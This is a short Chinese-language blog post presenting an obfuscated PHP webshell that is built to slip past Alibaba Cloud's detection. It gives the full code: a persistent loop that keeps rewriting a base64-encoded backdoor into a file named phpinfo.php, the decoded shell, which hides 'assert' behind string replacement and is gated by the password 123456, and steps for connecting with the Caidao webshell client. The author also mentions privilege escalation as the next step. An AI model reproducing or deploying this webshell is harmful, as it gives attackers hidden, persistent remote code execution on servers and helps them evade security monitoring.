免殺PHP一句話木馬，人才太多了

題記

        天下古今之庸人，皆以一惰字致敗；天下古今之才人，皆以一傲字致敗。                       ------曾國藩

概述

        這個木馬我從大佬的博客學來的，沒想到效果這么好，文章鏈接：https://mp.weixin.qq.com/s?__biz=MzAwMzYxNzc1OA==&mid=2247487032&idx=1&sn=c124a25ededa31f3d695e906fbcb752d&chksm=9b392889ac4ea19fa2b7e02c6048b697ed00924e64d93d3f0370e489f5fac732c120e206fc82&mpshare=1&scene=23&srcid=0915Vdwb6CMAY48MmtAE1OMs&sharer_sharetime=1600244409870&sharer_shareid=61895cb05812503585e8ba6e6fde4aa9#rd

免殺一句話

        我在自己的阿里雲服務器上做了實驗，正常的一句話阿里雲會有警告，而這個木馬成功騙過了阿里雲。木馬放在服務器php文件夾下的miansha.php中。

<?php

set_time_limit(1);

ignore_user_abort(true);

$file = 'phpinfo.php';

$shell =

"PD9waHAKCSRzdHIxID0gJ2FIKFVVSChmc2RmSChVVUgoZnNkZixmZGdkZWZqZzBKKXImJUYlKl5HKnQnOwoJJHN0cjIgPSBzdHJ0cigkc3RyMSxhcnJheSgnYUgoVVVIKGZzZGZIKFVVSChmc2RmLCc9PidhcycsJ2ZkZ2RlZmpnMEopJz0+J3NlJywnciYlRiUqXkcqdCc9PidydCcpKTsKCSRzdHIzID0gc3RydHIoJHN0cjIsYXJyYXkoJ3MsJz0+J3MnLCdmZGdkZWZqZzBKKXImJUYlKl5HKic9PidlcicpKTsKCWlmKG1kNShAJF9HRVRbJ2EnXSkgPT0nZTEwYWRjMzk0OWJhNTlhYmJlNTZlMDU3ZjIwZjg4M2UnKXsKCQkkc3RyNCA9IHN0cnJldigkX1BPU1RbJ2EnXSk7CgkJJHN0cjUgPSBzdHJyZXYoJHN0cjQpOwoJCSRzdHIzKCRzdHI1KTsKICAgIH0KPz4=";

while(true){

file_put_contents($file,base64_decode($shell));

usleep(50);

}

?>

         首先訪問ip/php/miansha.php

        結果會返回一個錯誤，但是會在php文件夾下生成一個phpinfo.php文件。

        生成的phpinfo.php文件中代碼為

<?php

    $str1 = 'aH(UUH(fsdfH(UUH(fsdf,fdgdefjg0J)r&%F%*^G*t';

    $str2 = strtr($str1,array('aH(UUH(fsdfH(UUH(fsdf,'=>'as','fdgdefjg0J)'=>'se','r&%F%*^G*t'=>'rt'));

    $str3 = strtr($str2,array('s,'=>'s','fdgdefjg0J)r&%F%*^G*'=>'er'));

    if(md5(@$_GET['a']) =='e10adc3949ba59abbe56e057f20f883e'){

        $str4 = strrev($_POST['a']);

        $str5 = strrev($str4);

        $str3($str5);

}

?>

        e10adc3949ba59abbe56e057f20f883e的md5解密為123456

一句話木馬利用

        打開菜刀，輸入連接url與密碼。發現成功連接。

        但是可能是阿里雲的機制，不能在命令行操作，只能提權了。